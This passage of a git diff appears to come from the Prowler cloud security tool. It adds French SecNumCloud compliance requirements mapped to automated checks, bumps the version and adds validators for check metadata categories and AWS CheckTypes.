effectues tout au long du cycle de developpement et apres chaque changement significatif.", + "Name": "Test de la securite et conformite du systeme", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit soumettre les systemes d'information, nouveaux ou mis a jour, a des tests de conformite et de fonctionnalite de securite pendant le developpement. Il doit documenter et mettre en oeuvre une procedure de test qui identifie : les taches a realiser ; les donnees d'entree ; les resultats attendus en sortie." + } + ], + "Checks": [ + "cloudguard_enabled" + ] + }, + { + "Id": "14.7", + "Description": "Les donnees de test doivent etre soigneusement selectionnees, protegees et controlees.", + "Name": "Protection des donnees de test", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'assurer l'integrite des donnees de tests utilises en pre-production. b) Si le prestataire souhaite utiliser des donnees du commanditaire issues de la production pour realiser des tests, le prestataire doit prealablement obtenir l'accord du commanditaire et les anonymiser. Le prestataire doit assurer la confidentialite des donnees lors de leur anonymisation." + } + ], + "Checks": [] + }, + { + "Id": "15.1", + "Description": "Le prestataire doit identifier les tiers ayant acces a l'information ou aux moyens de traitement de l'information et evaluer les risques associes.", + "Name": "Identification des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit tenir a jour une liste exhaustive des tiers participant a la mise en oeuvre du service (hebergeur, developpeur, integrateur, archiveur, sous-traitant operant sur site ou a distance, fournisseurs de climatisation, etc.). Cette liste doit preciser la contribution du tiers au service et au traitement des donnees a caractere personnel. Elle doit tenir compte des cas de sous-traitance a plusieurs niveaux. b) Le prestataire doit tenir a disposition du commanditaire la liste de l'ensemble des tiers qui peuvent acceder aux donnees et l'informer de tout changement de sous-traitants au sens de l'article 28 du [RGPD] afin que le commanditaire puisse emettre des objections a cet egard." + } + ], + "Checks": [] + }, + { + "Id": "15.2", + "Description": "Tous les aspects pertinents de la securite de l'information doivent etre traites dans les accords conclus avec les tiers.", + "Name": "La securite dans les accords conclus avec les tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit exiger des tiers participant a la mise en oeuvre du service, dans leur contribution au service, un niveau de securite au moins equivalent a celui qu'il s'engage a maintenir dans sa propre politique de securite. Il doit le faire au travers d'exigences, adaptees a chaque tiers et a sa contribution au service, dans les cahiers des charges ou dans les clauses de securite des accords de partenariat. Le prestataire doit inclure ces exigences dans les contrats conclus avec les tiers. b) Le prestataire doit contractualiser, avec chacun des tiers participant a la mise en oeuvre du service, des clauses d'audit permettant a un organisme de qualification de verifier que ces tiers respectent les exigences du present referentiel. c) Le prestataire doit definir et attribuer les roles et les responsabilites relatives a la modification ou a la fin du contrat le liant a un tiers participant a la mise en oeuvre du service." + } + ], + "Checks": [] + }, + { + "Id": "15.3", + "Description": "Le prestataire doit surveiller, revoir et auditer a intervalles reguliers la prestation des services des tiers.", + "Name": "Surveillance et revue des services des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de controler regulierement les mesures mises en place par les tiers participant a la mise en oeuvre du service pour respecter les exigences du present referentiel, conformement au chapitre 18.3." + } + ], + "Checks": [] + }, + { + "Id": "15.4", + "Description": "Les changements dans les services des tiers, incluant le maintien et l'amelioration des politiques, procedures et mesures existantes de securite de l'information, doivent etre geres.", + "Name": "Gestion des changements apportes dans les services des tiers", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de suivi des changements apportes par les tiers participant a la mise en oeuvre du service susceptibles d'affecter le niveau de securite du systeme d'information du service. b) Dans la mesure ou un changement de tiers participant a la mise en oeuvre du service affecte le niveau de securite du service, le prestataire doit en informer l'ensemble des commanditaires sans delais conformement au chapitre 12.2 et mettre en oeuvre les mesures permettant de retablir le niveau de securite precedent." + } + ], + "Checks": [] + }, + { + "Id": "15.5", + "Description": "Les personnes intervenant dans le cadre du service cloud doivent etre soumises a des engagements de confidentialite.", + "Name": "Engagements de confidentialite", + "Attributes": [ + { + "Section": "15. Relations avec les tiers", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de reviser au moins annuellement les exigences en matiere d'engagements de confidentialite ou de non-divulgation vis-a-vis des tiers participant a la mise en oeuvre du service." + } + ], + "Checks": [] + }, + { + "Id": "16.1", + "Description": "Des responsabilites et des procedures de gestion doivent etre etablies pour garantir une reponse rapide, efficace et ordonnee aux incidents lies a la securite de l'information.", + "Name": "Responsabilites et procedures", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'apporter des reponses rapides et efficaces aux incidents de securite. Ces procedures doivent definir les moyens et delais de communication des incidents de securite a l'ensemble des commanditaires concernes ainsi que le niveau de confidentialite exige pour cette communication. b) Le prestataire doit informer ses employes et l'ensemble des tiers participant a la mise en oeuvre du service de cette procedure. c) Le prestataire doit documenter toute violation de donnees a caractere personnel et en informer son commanditaire. La violation doit etre notifiee a la CNIL si elle presente un risque pour les droits et libertes des personnes concernees. Elle doit faire l'objet d'une information aupres des personnes concernees lorsque le risque pour leur vie privee est eleve." + } + ], + "Checks": [] + }, + { + "Id": "16.2", + "Description": "Les evenements lies a la securite de l'information doivent etre signales dans les meilleurs delais par les voies hierarchiques appropriees. Des mecanismes de detection et de notification automatises doivent etre mis en oeuvre.", + "Name": "Signalements lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure exigeant de ses employes et des tiers participant a la mise en oeuvre du service qu'ils lui rendent compte de tout incident de securite, avere ou suspecte ainsi que de toute faille de securite. b) Le prestataire doit documenter et mettre en oeuvre une procedure permettant a l'ensemble des commanditaires de signaler tout incident de securite, avere ou suspecte et toute faille de securite. c) Le prestataire doit communiquer sans delai aux commanditaires les incidents de securite et les preconisations associees pour en limiter les impacts. Il doit permettre au commanditaire de choisir les niveaux de gravite des incidents pour lesquels il souhaite etre informe. d) Le prestataire doit communiquer les incidents de securite aux autorites competentes conformement aux exigences legales et reglementaires en vigueur." + } + ], + "Checks": [ + "cloudguard_enabled", + "events_notification_topic_and_subscription_exists", + "events_rule_cloudguard_problems" + ] + }, + { + "Id": "16.3", + "Description": "Les evenements lies a la securite de l'information doivent etre apprecies et il doit etre decide s'il est necessaire de les classer comme incidents lies a la securite de l'information.", + "Name": "Appreciation des evenements et prise de decision", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "events", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit apprecier les evenements lies a la securite de l'information et decider s'il faut les qualifier en incidents de securite. Pour l'appreciation, il doit s'appuyer sur une ou plusieurs echelles (estimation, evaluation, etc.) partagees avec le commanditaire. Note : Les incidents de securite incluent les violations de donnees a caractere personnel. b) Le prestataire doit utiliser une classification permettant d'identifier clairement les incidents de securite touchant des donnees relatives aux commanditaires, conformement aux resultats de l'appreciation des risques. Cette classification doit inclure les violations de donnees a caractere personnel." + } + ], + "Checks": [ + "events_rule_cloudguard_problems" + ] + }, + { + "Id": "16.4", + "Description": "Les incidents lies a la securite de l'information doivent etre traites conformement aux procedures documentees.", + "Name": "Reponse aux incidents lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit traiter les incidents de securite jusqu'a leur resolution et doit informer les commanditaires conformement aux procedures." + } + ], + "Checks": [] + }, + { + "Id": "16.5", + "Description": "Les connaissances acquises lors de l'analyse et du traitement des incidents lies a la securite de l'information doivent etre exploitees pour reduire la probabilite ou l'impact d'incidents futurs.", + "Name": "Tirer des enseignements des incidents lies a la securite de l'information", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus d'amelioration continue afin de diminuer l'occurrence et l'impact de types d'incidents de securite deja traites." + } + ], + "Checks": [] + }, + { + "Id": "16.6", + "Description": "Le prestataire doit definir et appliquer des procedures pour l'identification, le recueil, l'acquisition et la preservation de preuves. Les journaux d'audit doivent etre proteges et valides.", + "Name": "Recueil de preuves", + "Attributes": [ + { + "Section": "16. Gestion des incidents lies a la securite de l'information", + "Service": "audit", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant d'enregistrer les informations relatives aux incidents de securite et pouvant servir d'elements de preuve." + } + ], + "Checks": [ + "audit_log_retention_period_365_days" + ] + }, + { + "Id": "17.1", + "Description": "Le prestataire doit determiner ses exigences en matiere de securite de l'information et de continuite du management de la securite de l'information dans des situations defavorables, par exemple lors d'une crise ou d'un sinistre.", + "Name": "Organisation de la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre oeuvre un plan de continuite d'activite prenant en compte la securite de l'information. b) Le prestataire doit reviser annuellement le plan de continuite d'activite du service et a chaque changement majeur pouvant avoir un impact sur le service." + } + ], + "Checks": [] + }, + { + "Id": "17.2", + "Description": "Le prestataire doit etablir, documenter, mettre en oeuvre et maintenir des processus, des procedures et des mesures de controle pour assurer le niveau requis de continuite de la securite de l'information au cours d'une situation defavorable. Les services doivent etre deployes en multi-AZ.", + "Name": "Mise en oeuvre de la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "objectstorage", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des procedures permettant de maintenir ou de restaurer l'exploitation du service et d'assurer la disponibilite des informations au niveau et dans les delais pour lesquels le prestataire s'est engage vis-a-vis du commanditaire dans la convention de service." + } + ], + "Checks": [ + "objectstorage_bucket_versioning_enabled" + ] + }, + { + "Id": "17.3", + "Description": "Le prestataire doit verifier a intervalles reguliers les mesures de continuite de la securite de l'information mises en oeuvre afin de s'assurer qu'elles sont valables et efficaces dans des situations defavorables.", + "Name": "Verifier, revoir et evaluer la continuite d'activite", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester le plan de continuite d'activites afin de s'assurer qu'il est pertinent et efficace en situation de crise." + } + ], + "Checks": [] + }, + { + "Id": "17.4", + "Description": "Les moyens de traitement de l'information doivent etre mis en oeuvre avec suffisamment de redondance pour repondre aux exigences de disponibilite. Les mecanismes de protection contre la suppression accidentelle doivent etre actives.", + "Name": "Disponibilite des moyens de traitement de l'information", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "objectstorage", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures qui lui permettent de repondre au besoin de disponibilite du service defini dans la convention de service (voir chapitre 19.1)." + } + ], + "Checks": [ + "objectstorage_bucket_versioning_enabled" + ] + }, + { + "Id": "17.5", + "Description": "La configuration de l'infrastructure technique du service cloud doit etre sauvegardee regulierement afin de permettre sa restauration en cas de sinistre.", + "Name": "Sauvegarde de la configuration de l'infrastructure technique", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de sauvegarde hors-ligne de la configuration de l'infrastructure technique." + } + ], + "Checks": [] + }, + { + "Id": "17.6", + "Description": "Le prestataire doit mettre a disposition du commanditaire un dispositif de sauvegarde de ses donnees, permettant la restauration en cas de sinistre.", + "Name": "Mise a disposition d'un dispositif de sauvegarde des donnees du commanditaire", + "Attributes": [ + { + "Section": "17. Continuite d'activite", + "Service": "objectstorage", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre a disposition du commanditaire un service de sauvegarde de ses donnees." + } + ], + "Checks": [ + "objectstorage_bucket_versioning_enabled" + ] + }, + { + "Id": "18.1", + "Description": "Toutes les exigences legales, reglementaires et contractuelles en vigueur, ainsi que l'approche du prestataire pour satisfaire ces exigences, doivent etre explicitement definies, documentees et tenues a jour pour chaque systeme d'information et pour le prestataire.", + "Name": "Identification de la legislation et des exigences contractuelles applicables", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit identifier les exigences legales, reglementaires et contractuelles en vigueur applicables au service. En France, le prestataire doit considerer au minimum les textes suivants : les donnees a caractere personnel [LOI_IL], [RGPD] ; le secret professionnel [CP_ART_226_13], le cas echeant sans prejudice de l'application de l'article 40 alinea 2 du Code de procedure penale relatif au signalement a une autorite judiciaire ; l'abus de confiance [CP_ART_314-1] ; le secret des correspondances privees [CP_ART_226-15] ; l'atteinte a la vie privee [CP_ART_226-1] ; l'acces ou le maintien frauduleux a un systeme d'information [CP_ART_323-1]. b) Le prestataire doit, selon son role dans les traitements de donnees a caractere personnel (responsable de traitement, sous-traitant ou co-responsable) justifier et documenter les choix de mesures techniques et organisationnelles realises en vue de repondre aux exigences de protection des donnees a caractere personnel du present referentiel (voir partie 19.5). c) Le prestataire doit documenter et mettre en oeuvre les procedures permettant de respecter les exigences legales, reglementaires et contractuelles en vigueur applicables au service, ainsi que les besoins de securite specifiques (voir exigence 8.3b)). d) Le prestataire doit, sur demande d'un commanditaire, lui rendre accessible l'ensemble de ces procedures. e) Le prestataire doit documenter et mettre en oeuvre un processus de veille actif des exigences legales, reglementaires et contractuelles en vigueur applicables au service." + } + ], + "Checks": [] + }, + { + "Id": "18.2", + "Description": "L'approche du prestataire vis-a-vis de la gestion de la securite de l'information et sa mise en oeuvre (c'est-a-dire les objectifs de controle, les mesures, les politiques, les procedures et les processus relatifs a la securite de l'information) doivent etre revues de maniere independante a intervalles definis ou en cas de changement significatif.", + "Name": "Revue independante de la securite de l'information", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un programme d'audit sur trois ans definissant le perimetre et la frequence des audits en accord avec la gestion du changement, les politiques, et les resultats de l'appreciation des risques. Le prestataire doit inclure dans le programme d'audit un audit qualifie par an realise par un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie. L'ensemble du programme d'audit doit notamment couvrir : l'audit de la configuration de l'infrastructure technique du service (par echantillonnage et doit inclure tous types d'equipements et de serveurs presents dans le systeme d'information du service) ; le test d'intrusion des interfaces d'administration exposees sur un reseau public ; le test d'intrusion de l'interface utilisateur pour les services SaaS ; si le service beneficie de developpements internes, l'audit de code source portant sur les fonctionnalites de securite implementees (l'approche en continue doit etre privilegiee). b) Il est recommande que le prestataire mette en oeuvre des mecanismes automatises d'audit de la configuration adaptes a l'infrastructure technique du service." + } + ], + "Checks": [] + }, + { + "Id": "18.3", + "Description": "Les responsables doivent regulierement s'assurer de la conformite du traitement de l'information et des procedures au sein de leur domaine de responsabilite, au regard des politiques et des normes de securite.", + "Name": "Conformite avec les politiques et les normes de securite", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire via le responsable de la securite de l'information doit s'assurer regulierement de l'execution correcte de l'ensemble des procedures de securite placees sous sa responsabilite en vue de garantir leur conformite avec les politiques et normes de securite." + } + ], + "Checks": [ + "cloudguard_enabled" + ] + }, + { + "Id": "18.4", + "Description": "Les systemes d'information doivent etre examines regulierement quant a leur conformite avec les politiques et les normes de securite de l'information du prestataire.", + "Name": "Examen de la conformite technique", + "Attributes": [ + { + "Section": "18. Conformite", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique permettant de verifier la conformite technique du service aux exigences du present referentiel. Cette politique doit definir les objectifs, methodes, frequences, resultats attendus et mesures correctrices." + } + ], + "Checks": [ + "cloudguard_enabled" + ] + }, + { + "Id": "19.1", + "Description": "Le prestataire doit etablir une convention de service avec le commanditaire definissant les engagements de niveau de service, les responsabilites et les conditions d'utilisation du service cloud.", + "Name": "Convention de service", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit etablir une convention de service avec chacun des commanditaires du service. Toute modification de la convention de service doit etre soumise a acceptation du commanditaire. b) Le prestataire doit identifier dans la convention de service : les obligations, droits et responsabilites de chacune des parties : prestataire et tiers impliques dans la fourniture du service, commanditaires, etc. ; les elements explicitement exclus des responsabilites du prestataire dans la limite de ce que prevoient les exigences legales et reglementaires en vigueur, notamment l'article 28 du [RGPD] ; la localisation du service. La localisation du support doit etre precisee lorsqu'il est realise depuis un Etat hors l'Union Europeenne, comme le permet l'exigence 19.2.e. c) Le prestataire doit proposer une convention de service appliquant le droit d'un Etat membre de l'Union Europeenne. Le droit applicable doit etre identifie dans la convention de service. d) La convention de service doit indiquer que la collecte, la manipulation, le stockage, et plus generalement le traitement des donnees faits dans le cadre de l'avant-vente, de la mise en oeuvre, de la maintenance et l'arret du service sont realises conformement aux exigences edictees par la legislation en vigueur. e) La convention de service doit indiquer que le prestataire doit mettre a la disposition du commanditaire, sur demande de celui-ci, les elements d'appreciation des risques lies a la soumission des donnees du commanditaire au droit d'un etat non-membre de l'Union Europeenne (voir 5.3.e). f) Le prestataire doit decrire dans la convention de service les moyens techniques et organisationnels qu'il met en oeuvre pour assurer le respect du droit applicable. g) Le prestataire doit inclure dans la convention de service une clause de revision de la convention prevoyant notamment une resiliation sans penalite pour le commanditaire en cas de perte de la qualification octroyee au service. h) Le prestataire doit inclure dans la convention de service une clause de reversibilite permettant au commanditaire de recuperer l'ensemble de ses donnees (fournies directement par le commanditaire ou produites dans le cadre du service a partir des donnees ou des actions du commanditaire). i) Le prestataire doit assurer cette reversibilite via l'une des modalites techniques suivantes : la mise a disposition de fichiers suivant un ou plusieurs formats documentes et exploitables en dehors du service fourni par le prestataire ; la mise en place d'interfaces techniques permettant l'acces aux donnees suivant un schema documente et exploitable (API, format pivot, etc.). Les modalites techniques de la reversibilite figurent dans la convention de service. j) Le prestataire doit indiquer dans la convention de service le niveau de disponibilite du service. k) Le prestataire doit indiquer dans la convention de service qu'il ne peut disposer des donnees transmises et generees par le commanditaire, leur disposition etant reservee au commanditaire. l) Le prestataire doit indiquer dans la convention de service qu'il ne divulgue aucune information relative a la prestation a des tiers, sauf autorisation formelle et ecrite du commanditaire. m) Le prestataire doit indiquer dans la convention de service si les donnees du commanditaire sont automatiquement sauvegardees ou non. Dans la negative, le prestataire doit sensibiliser le commanditaire aux risques encourus et clairement indiquer les operations a mener par le commanditaire pour que ses donnees soient sauvegardees. n) Le prestataire doit indiquer dans la convention de service s'il autorise l'acces distant pour des actions d'administration ou de support au systeme d'information du service. o) Le prestataire doit preciser dans la convention de service que : le service est qualifie et inclure l'attestation de qualification ; le commanditaire peut deposer une reclamation relative au service qualifie aupres de l'ANSSI ; le commanditaire autorise l'ANSSI et l'organisme de qualification a auditer le service et son systeme d'information du service afin de verifier qu'ils respectent les exigences du present referentiel. p) Le prestataire doit preciser dans la convention de service que le commanditaire autorise, conformement au present referentiel (voir chapitre 18.2, un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie mandate par le prestataire a auditer le service et son systeme d'information dans le cadre du plan de controle. q) Le prestataire doit preciser dans la convention de service qu'il s'engage a mettre a disposition toutes les informations necessaires a la realisation d'audits de conformite aux dispositions de l'article 28 du [RGPD], menes par le commanditaire ou un tiers mandate. r) Il est recommande que le tiers mandate pour les audits soit un prestataire d'audit de la securite des systemes d'information [PASSI] qualifie." + } + ], + "Checks": [] + }, + { + "Id": "19.2", + "Description": "Les donnees du commanditaire doivent etre stockees et traitees dans des centres de donnees situes sur le territoire de l'Union europeenne. Les politiques de restriction de region doivent etre appliquees.", + "Name": "Localisation des donnees", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et communiquer au commanditaire la localisation du stockage et du traitement des donnees de ce dernier. b) Le prestataire doit stocker et traiter les donnees du commanditaire au sein de l'Union Europeenne. c) Les operations d'administration et de supervision du service doivent etre realisees depuis le territoire de l'Union Europeenne. d) Le prestataire doit stocker et traiter les donnees techniques (identites des beneficiaires et des administrateurs de l'infrastructure technique, donnees manipulees par le Software Defined Network, journaux de l'infrastructure technique, annuaire, certificats, configuration des acces, etc.) au sein de l'Union Europeenne. e) Le prestataire peut realiser des operations de support aux commanditaires depuis un Etat hors de l'Union Europeenne. Il doit documenter la liste des operations qui peuvent etre effectuees par le support au commanditaire depuis un Etat hors de l'Union Europeenne, et les mecanismes permettant d'en assurer le controle d'acces et la supervision depuis l'Union Europeenne." + } + ], + "Checks": [] + }, + { + "Id": "19.3", + "Description": "Les services cloud qualifies SecNumCloud doivent etre operes depuis le territoire de l'Union europeenne.", + "Name": "Regionalisation", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit s'assurer que les interfaces du service accessibles au commanditaire soient au moins disponibles en langue francaise. b) Le prestataire doit fournir un support de premier niveau en langue francaise." + } + ], + "Checks": [] + }, + { + "Id": "19.4", + "Description": "Le prestataire doit definir les conditions de fin de contrat, incluant les modalites de restitution et de suppression des donnees du commanditaire.", + "Name": "Fin de contrat", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) A la fin du contrat liant le prestataire et le commanditaire, que le contrat soit arrive a son terme ou pour toute autre cause, le prestataire doit assurer un effacement securise de l'integralite des donnees du commanditaire. Cet effacement doit faire l'objet d'un preavis formel au commanditaire de la part du prestataire respectant un delai de vingt et un jours calendaires. L'effacement peut etre realise suivant l'une des methodes suivantes, et ce dans un delai precise dans la convention de service : effacement par reecriture complete de tout support ayant heberge ces donnees ; effacement des cles utilisees pour le chiffrement des espaces de stockage du commanditaire decrit au chapitre 10.1 ; recyclage securise, dans les conditions enoncees au chapitre 11.9. b) A la fin du contrat, le prestataire doit supprimer les donnees techniques relatives au commanditaire (annuaire, certificats, configuration des acces, etc.)." + } + ], + "Checks": [] + }, + { + "Id": "19.5", + "Description": "Le prestataire doit mettre en oeuvre des mesures techniques et organisationnelles appropriees pour garantir la protection des donnees a caractere personnel conformement a la reglementation en vigueur.", + "Name": "Protection des donnees a caractere personnel", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit justifier du respect des principes de protection des donnees pour les traitements de donnees a caractere personnel mis en oeuvre pour son propre compte. Il doit justifier au minimum les points suivants : les finalites des traitements determinees, explicites et legitimes ; la tracabilite des activites de traitement pour son compte et celui de son commanditaire ; le fondement licite des traitements ; l'interdiction du detournement de finalite des traitements ; les donnees utilisees respectent le principe du minimum necessaire et suffisant pour les traitements ; ainsi sont adequates, pertinentes et limitees ; la qualite des donnees utilisees pour les traitements maintenue : donnees exactes et tenues a jour ; les durees de conservation definies et limitees. b) Le prestataire doit justifier, pour les traitements de donnees a caractere personnel mis en oeuvre pour son propre compte, du respect des droits des personnes concernees. Il doit justifier au minimum les points suivants : l'information des usagers via un traitement loyal et transparent ; le recueil du consentement des usagers : expres, demontrable et retirable ; la possibilite pour les usagers d'exercer les droits d'acces, de rectification et d'effacement ; la possibilite pour les usagers d'exercer les droits de limitation du traitement, de portabilite et d'opposition. c) Lorsqu'il agit en qualite de sous-traitant au sens de l'article 28 de [RGPD], le prestataire doit apporter assistance et conseil au commanditaire en l'informant si une instruction de ce dernier constitue une violation des regles de protection des donnees." + } + ], + "Checks": [] + }, + { + "Id": "19.6", + "Description": "Le prestataire doit mettre en oeuvre des mesures de protection vis-a-vis du droit extra-europeen, afin de garantir que les donnees du commanditaire ne puissent etre soumises a des legislations extra-europeennes.", + "Name": "Protection vis-a-vis du droit extra-europeen", + "Attributes": [ + { + "Section": "19. Exigences supplementaires", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le siege statutaire, administration centrale et principal etablissement du prestataire doivent etre etablis au sein d'un Etat membre de l'Union Europeenne. b) Le capital social et les droits de vote dans la societe du prestataire ne doivent pas etre, directement ou indirectement : individuellement detenus a plus de 24% ; et collectivement detenus a plus de 39% ; par des entites tierces possedant leur siege statutaire, administration centrale ou principal etablissement au sein d'un Etat non membre de l'Union europeenne. Ces entites tierces susmentionnees ne peuvent pas individuellement ou collectivement : en vertu d'un contrat ou de clauses statutaires, disposer d'un droit de veto ; en vertu d'un contrat ou de clauses statutaires, designer la majorite des membres des organes d'administration, de direction ou de surveillance du prestataire. c) En cas de recours par le prestataire, dans le cadre des services fournis au commanditaire, aux services d'une societe tierce - y compris un sous-traitant - possedant son siege statutaire, administration centrale ou principal etablissement au sein d'un Etat non membre de l'Union Europeenne ou appartenant ou etant controlee par une societe tierce domiciliee en dehors l'Union Europeenne, cette susdite societe tierce ne doit pas avoir la possibilite technique d'obtenir les donnees operees au travers du service. d) Dans le cadre de l'exigence 19.6.c, toute societe tierce a laquelle le prestataire recourt pour fournir tout ou partie du service rendu au commanditaire, doit garantir au prestataire une autonomie d'exploitation continue dans la fourniture des services d'informatique en nuage qu'il opere ou doit etre qualifie SecNumCloud. e) Le service fourni par le prestataire doit respecter la legislation en vigueur en matiere de droits fondamentaux et les valeurs de l'Union relatives au respect de la dignite humaine, a la liberte, a l'egalite, a la democratie et a l'Etat de droit. f) Le prestataire doit informer formellement le commanditaire, et dans un delai d'un mois, de tout changement juridique, organisationnel ou technique pouvant avoir un impact sur la conformite de la prestation aux exigences du chapitre 19.6." + } + ], + "Checks": [] + } + ] +} diff --git a/prowler/config/config.py b/prowler/config/config.py index 0a531e9dc4..628d171b3b 100644 --- a/prowler/config/config.py +++ b/prowler/config/config.py @@ -38,7 +38,7 @@ class _MutableTimestamp: timestamp = _MutableTimestamp(datetime.today()) timestamp_utc = _MutableTimestamp(datetime.now(timezone.utc)) -prowler_version = "5.20.0" +prowler_version = "5.22.0" html_logo_url = "https://github.com/prowler-cloud/prowler/" square_logo_img = "https://raw.githubusercontent.com/prowler-cloud/prowler/dc7d2d5aeb92fdf12e8604f42ef6472cd3e8e889/docs/img/prowler-logo-black.png" aws_logo = "https://user-images.githubusercontent.com/38561120/235953920-3e3fba08-0795-41dc-b480-9bea57db9f2e.png" diff --git a/prowler/lib/check/models.py b/prowler/lib/check/models.py index efe294c1d4..524248d26f 100644 --- a/prowler/lib/check/models.py +++ b/prowler/lib/check/models.py @@ -1,4 +1,5 @@ import functools +import json import os import re import sys @@ -15,6 +16,115 @@ from prowler.lib.check.compliance_models import Compliance from prowler.lib.check.utils import recover_checks_from_provider from prowler.lib.logger import logger +# Valid ResourceGroup values as defined in the RFC +VALID_RESOURCE_GROUPS = frozenset( + { + "compute", + "container", + "serverless", + "database", + "storage", + "network", + "IAM", + "messaging", + "security", + "monitoring", + "api_gateway", + "ai_ml", + "governance", + "collaboration", + "devops", + "analytics", + } +) + +# Valid Categories as defined in the RFC +VALID_CATEGORIES = frozenset( + { + "encryption", + "internet-exposed", + "logging", + "secrets", + "resilience", + "threat-detection", + "trust-boundaries", + "vulnerabilities", + "cluster-security", + "container-security", + "node-security", + "gen-ai", + "ci-cd", + "identity-access", + "email-security", + "forensics-ready", + "software-supply-chain", + "e3", + "e5", + "privilege-escalation", + "ec2-imdsv1", + } +) + + +@functools.lru_cache(maxsize=1) +def _load_aws_check_types_hierarchy() -> dict: + """ + Load and cache the AWS CheckTypes hierarchy from the JSON config file. + + Returns: + dict: The CheckTypes hierarchy, or empty dict if file not found. + """ + try: + current_dir = os.path.dirname(os.path.abspath(__file__)) + check_types_file = os.path.normpath( + os.path.join( + current_dir, + "..", + "..", + "providers", + "aws", + "config", + "check_types.json", + ) + ) + + if not os.path.exists(check_types_file): + return {} + + with open(check_types_file, "r") as f: + return json.load(f) + + except (FileNotFoundError, json.JSONDecodeError): + return {} + + +def _validate_aws_check_type_in_config(check_type: str) -> bool: + """ + Validate if a CheckType exists in the AWS config using direct lookups. + Supports partial paths: namespace, namespace/category, namespace/category/classifier + + Args: + check_type: The CheckType string to validate (e.g., "TTPs/Initial Access") + + Returns: + bool: True if the CheckType path exists in the config hierarchy + """ + if not check_type: + return False + + hierarchy = _load_aws_check_types_hierarchy() + if not hierarchy: + return False + + path_parts = check_type.split("/") + current_level = hierarchy + for part in path_parts: + if not isinstance(current_level, dict) or part not in current_level: + return False + current_level = current_level[part] + + return True + class Code(BaseModel): """ @@ -94,11 +204,19 @@ class CheckMetadata(BaseModel): Compliance (list, optional): The compliance information for the check. Defaults to None. Validators: - valid_category(value): Validator function to validate the categories of the check. + valid_category(value): Validator function to validate the categories of the check against predefined values. severity_to_lower(severity): Validator function to convert the severity to lowercase. - valid_severity(severity): Validator function to validate the severity of the check. valid_cli_command(remediation): Validator function to validate the CLI command is not an URL. valid_resource_type(resource_type): Validator function to validate the resource type is not empty. + validate_service_name(service_name, values): Validator function to validate the service name matches CheckID. + valid_check_id(check_id): Validator function to validate the CheckID format. + validate_check_title(check_title): Validator function to validate CheckTitle max length (150 chars) and not starting with 'Ensure'. + validate_related_url(related_url): Validator function to validate RelatedUrl is empty (deprecated field). + validate_recommendation_url(remediation): Validator function to validate Recommendation URL points to Prowler Hub. 